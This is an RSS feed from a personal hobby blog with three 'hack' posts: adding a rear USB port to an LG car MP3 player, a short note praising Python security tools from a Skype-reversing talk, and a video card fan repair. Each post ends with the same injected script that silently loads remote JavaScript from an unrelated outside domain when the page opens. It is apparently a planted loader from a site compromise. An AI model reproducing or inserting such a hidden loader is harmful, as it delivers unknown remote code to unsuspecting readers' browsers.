<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; hack</title>
	<atom:link href="http://www.larsen-b.com/tags/hack/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Howto hack USB port on a  LG LAC-M6500R  MP3 Player (CD/Radio/MP3 Player)</title>
		<link>http://www.larsen-b.com/Article/257.html</link>
		<comments>http://www.larsen-b.com/Article/257.html#comments</comments>
		<pubDate>Sun, 04 Mar 2007 13:06:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[audio]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[mp3]]></category>
		<category><![CDATA[usb]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Some friends buy me a nice MP3 player for my car last year (birthday): LAC-M6500R This stuff looks great and you can even plug a hard-drive. The main issue is that the firmware only support 999 files on a single &#8230; <a href="http://www.larsen-b.com/Article/257.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Some friends buy me a nice MP3 player for my car last year (birthday): <a class="reference" href="http://uk.shopping.com/xPF-LG-CD-car-radio-LAC-M6500R-LAC6500R">LAC-M6500R</a></p>
<p>This stuff looks great and you can even plug a hard-drive. The main issue is that the firmware only support 999 files on a single USB device, so that&#8217;s enougth for ~4Go of MP3 but not more. So I decided to buy some USB  sticks, it&#8217;s far more simple .. no external power supply, and just the room to place a quite large MP3 collection (simply buy 2/3 sticks and that rules)</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02235.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02235.sized.jpg" /></div>
<p>That&#8217;s ok, but hum, as you can see on this picture the USB plug is on the front panel. And that&#8217;s a mess, cause you have to unplugged it when you want to remove the front panel (some infamous guys already try to open my car 4 times..), or to put a CD in. Beside this is a gift, I decided to open it, and try add a external USB in the back. I think my friends will understand this: &#8220;If you can&#8217;t open it, you don&#8217;t own it&#8221; ..</p>
<p>First, I decided to open the front panel, to look how the USB plug is connected. As you can see on the aboves pictures, the USB power-supply come form the main board.</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02242.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02242.sized.jpg" /></div>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02541.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02541.sized.jpg" /></div>
<p>That&#8217;s fine.. We simply have to add take the power from the source ..</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02542.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02542.sized.jpg" /></div>
<p>When I look closely, I discover that the PSU provide 5.5v instead of 5.0v. The main reason, is that the front panel contain a small chips do the final regulation.. Ok, we can do the same ? :) I used a low drop 5.0v regulator: <a class="reference" href="http://www.national.com/pf/LP/LP38691.html">LP38691</a> with 2 small caps..</p>
<div class="image"><img src="http://www.national.com/images/pf/LP38691/20126501.jpg" alt="http://www.national.com/images/pf/LP38691/20126501.jpg" /></div>
<p>The final step, is to connect the data bus (DATA- / DATA+), this was really hard, because the front panel USB bus is connected to the main decoder board throught a small wire. As I&#8217;m not able to find the right plug, I decided to solder it on the board ..</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02553.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02553.sized.jpg" /></div>
<p>So we have something like this:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/LG_gschm.png" alt="http://jkx.larsen-b.com/photos/Electronic/LG_gschm.png" /></div>
<p>The small PCB:</p>
<p>As you can see on this picture, on the left, there is the wires from the main board, and the 5.0v regulator. On the right the wire that goes to the decoder board, and  the external new USB connector.</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02551.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02551.sized.jpg" /></div>
<p>Here the finished product:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02558.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02558.sized.jpg" /></div>
<p>Ok, that&#8217;s fine, now, you can place this small board in system (there is a lot of room), and enjoy the external USB cable ;)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/257.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Python blackhat tools ?</title>
		<link>http://www.larsen-b.com/Article/222.html</link>
		<comments>http://www.larsen-b.com/Article/222.html#comments</comments>
		<pubDate>Wed, 29 Mar 2006 15:53:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[skype]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Yesterday, somebody send me a link to some really interesting slides: Silver Needle in the Skype. This really impress me, how much energy Skype spent to hide his code, and protect their buisness. But on the other side, the work &#8230; <a href="http://www.larsen-b.com/Article/222.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Yesterday, somebody send me a link to some really interesting slides: <a class="reference" href="http://www.blackhat.com/presentations/bh-europe-06/bh-eu-06-biondi/bh-eu-06-biondi-up.pdf">Silver Needle in the Skype</a>. This really impress me, how much energy Skype spent to hide his code, and protect their buisness. But on the other side, the work done to dissect the binary and the protocols is even more surprising. (What a great job !!)</p>
<p>I have to admit that I used Python for quite everything, and that I&#8217;ve ever done some strange stuff with it (a IPTV packet scrapper, firewall shapping .. )  but this guys<br />
pushed the limit far beyong from what I&#8217;m seeing like usual python use. And the best part: they wrote some powerfull tools ( and use them to &#8220;debug skype&#8221;), and publish them.</p>
<p>Look at <a class="reference" href="http://www.secdev.org/projects/">here</a>, you will find a bunch of really backhat python tools written by the <a class="reference" href="http://www.secdev.org/">Secdev team</a>.</p>
<p>/Enjoy<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/222.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Video Card Hack</title>
		<link>http://www.larsen-b.com/Article/104.html</link>
		<comments>http://www.larsen-b.com/Article/104.html#comments</comments>
		<pubDate>Wed, 17 Mar 2004 21:50:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[video card]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I run into trouble with my GeForce Ti 4000 (a Creative one). After doing a lot of noise, the ventillator decide to stop. So i decided to hack it:]]></description>
				<content:encoded><![CDATA[<p>I run into trouble with my GeForce Ti 4000 (a Creative one). After doing a lot of noise, the ventillator decide to stop.</p>
<p>So i decided to hack it:</p>
<div class="align-center"><img class="align-center" src="http://jkx.larsen-b.com/photos/blog/dsc00358_sized.jpg" alt="http://jkx.larsen-b.com/photos/blog/dsc00358_sized.jpg" /></div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/104.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
